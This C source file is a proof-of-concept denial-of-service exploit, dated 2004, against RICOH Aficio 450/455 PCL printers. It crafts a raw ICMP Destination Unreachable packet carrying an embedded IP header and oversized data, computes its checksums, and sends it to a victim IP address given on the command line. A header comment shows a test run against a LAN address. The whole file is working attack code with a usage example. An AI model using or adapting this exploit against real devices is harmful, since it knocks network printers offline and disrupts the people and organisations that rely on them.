/*
 * RICOH Aficio 450/455 PCL 5e Printer ICMP DOS vulnerability Exploit.
 * DATE: 12.15.2004
 * Vuln Advisory : Hongzhen Zhou<felix__zhou _at_ hotmail _dot_ com>
 * Exploit Writer : x90c(Kyong Joo)@www.chollian.net/~jyj9782
 *
 * Testing -----------------------------------------------
 * root@testbed:~/raw# gcc -o rpcl_icmpdos rpcl_icmpdos.c
 * root@testbed:~/raw# ./rpcl_icmpdos
 * Usage: ./rpcl_icmpdos <victim>
 * root@testbed:~/raw# ./rpcl_icmpdos 192.168.2.4
 * exploit sent ok() = ..x-_-x..
 * root@testbed:~/raw# 
 * 
 */

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<linux/ip.h>
#include<linux/icmp.h>

unsigned short cksum(unsigned short *buf, int len);

struct icmp_packet{
  struct icmphdr icmp;
  struct iphdr inip;
  unsigned char bigger[90]; // STEP1: Bigger Data(ICMP Header(8)+ inip(20) + 90(bigger
data))
} packet;


/* ########################
 * #     Entry Point      #
 * ########################
*/

int main(int argc, char *argv[]){
struct sockaddr_in ca;
int sockfd, ret;

if(argc<2){
  printf("Usage: %s <victim>\n", argv[0]);
  exit(-1);
}
  
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

memset(&packet, 0, sizeof(packet));

packet.icmp.type = 3;        // STEP2: Destination Unreachable.
packet.icmp.code = 1;
packet.icmp.un.echo.id = getpid();
packet.icmp.un.echo.sequence = 0;

packet.inip.ihl = 5;
packet.inip.version = 4;
packet.inip.tot_len = htons(20);
packet.inip.id = htons(9090);
packet.inip.ttl = 90;
packet.inip.protocol = IPPROTO_TCP;    // STEP3: IPPROTO_UDP also useable.
packet.inip.saddr = inet_addr("127.0.0.1");
packet.inip.daddr = inet_addr("127.0.0.1");
packet.inip.check = (unsigned short) cksum((unsigned short *)&packet.inip, 20);

packet.icmp.checksum = cksum((void *)&packet, sizeof(packet));

memset(&ca, 0, sizeof(ca));
ca.sin_family = AF_INET;
ca.sin_addr.s_addr = inet_addr(argv[1]);


if((sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&ca, sizeof(ca)))
== sizeof(packet))
  printf("exploit sent ok() = ..x-_-x..\n");
else   
  printf("exploit sent failed() = ..o^O^o..\n");


close(sockfd);

}


/* ########################
 * #  Internet Checksum   #
 * ########################
*/

unsigned short cksum(unsigned short *buf, int len){
register unsigned long sum;

for(sum = 0; len > 0; len--) sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}